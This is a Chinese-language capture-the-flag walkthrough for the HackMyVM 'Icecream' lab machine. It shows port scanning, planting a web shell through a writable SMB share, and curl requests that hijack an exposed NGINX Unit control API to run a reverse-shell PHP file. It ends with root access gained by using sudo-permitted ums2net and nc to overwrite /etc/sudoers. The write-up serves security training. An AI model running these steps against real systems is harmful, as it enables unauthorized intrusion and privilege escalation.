HackMyVM Icecream Walkthrough

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靶机下载地址：https://hackmyvm.eu/machines/machine.php?vm=Icecream
Tips: smb、nginx unit

首先扫描端口。

└─$ nmap -sV -sC -Pn -p- -oN port.log 192.168.56.131                                                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 16:53 CST                                   
Nmap scan report for 192.168.56.131                                                                  
Host is up (0.0022s latency).                                                                        
Not shown: 65530 closed tcp ports (reset)                                                            
PORT     STATE SERVICE     VERSION                                                                   
22/tcp   open  ssh         OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)                             
| ssh-hostkey:                                                                                       
|   256 68:94:ca:2f:f7:62:45:56:a4:67:84:59:1b:fe:e9:bc (ECDSA)                                      
|_  256 3b:79:1a:21:81:af:75:c2:c1:2e:4e:f5:a3:9c:c9:e3 (ED25519)
80/tcp   open  http        nginx 1.22.1                                              16:53:50 [45/64]
|_http-server-header: nginx/1.22.1                                                                   
|_http-title: 403 Forbidden                                                                          
139/tcp  open  netbios-ssn Samba smbd 4.6.2                                                          
445/tcp  open  netbios-ssn Samba smbd 4.6.2                                                          
9000/tcp open  cslistener?                                                                           
| fingerprint-strings:                                                                               
|   FourOhFourRequest:                                                                               
|     HTTP/1.1 404 Not Found                                                                         
|     Server: Unit/1.33.0                                                                            
|     Date: Wed, 09 Oct 2024 08:54:00 GMT                                                            
|     Content-Type: application/json                                                                 
|     Content-Length: 40                                                                             
|     Connection: close                                                                              
|     "error": "Value doesn't exist."                                                                
|   GetRequest:                                                                                      
|     HTTP/1.1 200 OK                                                                                
|     Server: Unit/1.33.0                                                                            
|     Date: Wed, 09 Oct 2024 08:54:00 GMT                                                            
|     Content-Type: application/json                                                                 
|     Content-Length: 1042                                                                           
|     Connection: close                                                                              
|     "certificates": {},                                                                            
|     "js_modules": {},                                                                              
|     "config": {                                                                                    
|     "listeners": {},                                                                               
|     "routes": [],                                                                                  
|     "applications": {}                                                                             
|     "status": {                                                                                    
|     "modules": {                                                                                   
|     "python": {                                                                                    
|     "version": "3.11.2",                                                                           
|     "lib": "/usr/lib/unit/modules/python3.11.unit.so"                                              
|     "php": {                                                                                       
|     "version": "8.2.18",                                                                           
|     "lib": "/usr/lib/unit/modules/php.unit.so"                                                     
|     "perl": {                                                                                      
|     "version": "5.36.0",                                                                           
|     "lib": "/usr/lib/unit/modules/perl.unit.so"                                                    
|     "ruby": {                                                                                      
|     "version": "3.1.2",                                                                            
|     "lib": "/usr/lib/unit/modules/ruby.unit.so"                                                    
|     "java": {                                                                                      
|     "version": "17.0.11",                                                                          
|     "lib": "/usr/lib/unit/modules/java17.unit.so"                                                  
|     "wasm": {                                                                                      
|     "version": "0.1",
|     "lib": "/usr/lib/unit/modules/wasm.unit.so"
|   HTTPOptions: 
|     HTTP/1.1 405 Method Not Allowed
|     Server: Unit/1.33.0 
|     Date: Wed, 09 Oct 2024 08:54:00 GMT
|     Content-Type: application/json
|     Content-Length: 35
|     Connection: close
|_    "error": "Invalid method."

...

Host script results:
|_clock-skew: -3s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-10-09T08:54:00
|_  start_date: N/A
|_nbstat: NetBIOS name: ICECREAM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

查看smb。

└─$ smbclient -L 192.168.56.131                                                                      
Password for [WORKGROUP\kali]:                                                                       

        Sharename       Type      Comment                                                            
        ---------       ----      -------                                                            
        print$          Disk      Printer Drivers
        icecream        Disk      tmp Folder
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        nobody          Disk      Home Directories 
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.56.131 (for a protocol between LANMAN1 and NT1) failed: NT_STA
TUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

发现icecream可以连接上。

└─$ smbclient //192.168.56.131/icecream
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Oct  9 17:00:27 2024
  ..                                  D        0  Sun Oct  6 18:06:38 2024
  systemd-private-b238b0dcf43042739385d0601be011ce-systemd-logind.service-BbUmJA      D        0  Wed
 Oct  9 16:50:27 2024
  .font-unix                         DH        0  Wed Oct  9 16:50:26 2024
  .XIM-unix                          DH        0  Wed Oct  9 16:50:26 2024
  .ICE-unix                          DH        0  Wed Oct  9 16:50:26 2024
  systemd-private-b238b0dcf43042739385d0601be011ce-systemd-timesyncd.service-E22qPs      D        0  
Wed Oct  9 16:50:26 2024
  .X11-unix                          DH        0  Wed Oct  9 16:50:26 2024

                19480400 blocks of size 1024. 16159828 blocks available

上传一个空的html文件，发现在80端口可以访问到这个文件。

└─$ echo hello > index.html 
...
smb: \> put index.html
putting file index.html as \index.html (0.8 kb/s) (average 0.8 kb/s)
...
└─$ curl http://192.168.56.131/index.html
hello

上传一个shell，然后在80端口访问，得到第一个shell。

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

查看home目录，只有ice用户，下面就是看如何得到ice用户。ice用户运行着nginx unit服务，看来需要通过nginx unit得到ice。

$ ps aux|grep ice
root         378  0.0  0.1  11772  2796 ?        Ss   10:50   0:00 unit: main v1.33.0 [/usr/sbin/unitd --control 0.0.0.0:9000 --user ice]
ice          515  0.0  0.1  11128  2156 ?        S    10:50   0:00 unit: controller
ice          516  0.0  0.3 102424  7020 ?        Sl   10:50   0:00 unit: router
ice        12861  0.0  1.0 203620 21644 ?        S    11:46   0:00 unit: "app" prototype
ice        12862  0.0  0.7 220144 14692 ?        S    11:46   0:00 unit: "app" application
ice        12864  0.0  0.5 220144 10404 ?        Ss   11:47   0:00 unit: "app" application
ice        12865  0.0  0.0   2576   892 ?        S    11:47   0:00 sh -c uname -a; w; id; /bin/sh -i
ice        12869  0.0  0.0   2576   900 ?        S    11:47   0:00 /bin/sh -i

先上传另一个rev2.shell到/tmp目录，然后运行以下指令，使得unit服务可以访问rev2.shell（感谢Todd)。其中，第一句加应用，第二句加路由，第三句加监听。

curl -X PUT -d '{"app":{"type":"php","root":"/tmp","script":"rev2.php"}}' http://192.168.56.131:9000/config/applications

curl -X PUT -d '[{"action":{"share":"/tmp/rev2.php$uri","fallback":{"pass":"applications/app"}}}]' http://192.168.56.131:9000/config/routes

curl -X PUT -d '{"*:8888":{"pass":"routes"}}' http://192.168.56.131:9000/config/listeners

访问192.168.56.131:8888/rev2.php ，得到shell。

$ id
uid=1000(ice) gid=1000(ice) grupos=1000(ice),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)

当然，以上指令还可以进一步精简。

└─$ curl -X PUT -d '{
    "listeners": {
        "*:8080": {
            "pass": "applications/php-app"
        }
    },
    "applications": {
        "php-app": {
            "type": "php",
            "root": "/tmp",
            "script": "rev2.php" 
        }
    }
}'  http://192.168.56.131:9000/config                 
{
        "success": "Reconfiguration done."
}

└─$ curl http://192.168.56.131:8080

上传id_rsa.pub到ice/.ssh目录下并改名authorized_keys，记得将.ssh目录权限改为700，文件权限改为600。这样可以直接用ssh连接ice。查看sudo。

ice@icecream:~$ sudo -l
Matching Defaults entries for ice on icecream:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User ice may run the following commands on icecream:
    (ALL) NOPASSWD: /usr/sbin/ums2net

研究下ums2net的用法，主要将端口输入写入任意文件。这里有诸多方法，这里覆盖/etc/sudoers。在本机建立一个sudoers文件，内容如下。

└─$ cat sudoers 
ice ALL=(ALL) NOPASSWD: ALL

建立a.conf如下。

ice@icecream:~$ echo '8080 of=/etc/sudoers' > /tmp/a.conf

运行ums2net。

ice@icecream:~$ sudo /usr/sbin/ums2net -c /tmp/a.conf -d

然后在本机将sudoers传入8080端口。

└─$ nc 192.168.56.131 8080 < sudoers

Ctrl+c中断，靶机显示接收到数据。

ice@icecream:~$ sudo /usr/sbin/ums2net -c /tmp/a.conf -d
ums2net[780]: Totally write 28 bytes to /etc/sudoers

再次在靶机运行sudo -l，显示可以以root运行任何命令。

User ice may run the following commands on icecream:
    (ALL) NOPASSWD: ALL

最后得到root。

ice@icecream:~$ sudo bash
/etc/sudoers:2:11: error de sintaxis
 with the 'visudo' command as root.
          ^~~~~~~~
root@icecream:/home/ice# id
uid=0(root) gid=0(root) grupos=0(root)
root@icecream:/home/ice#
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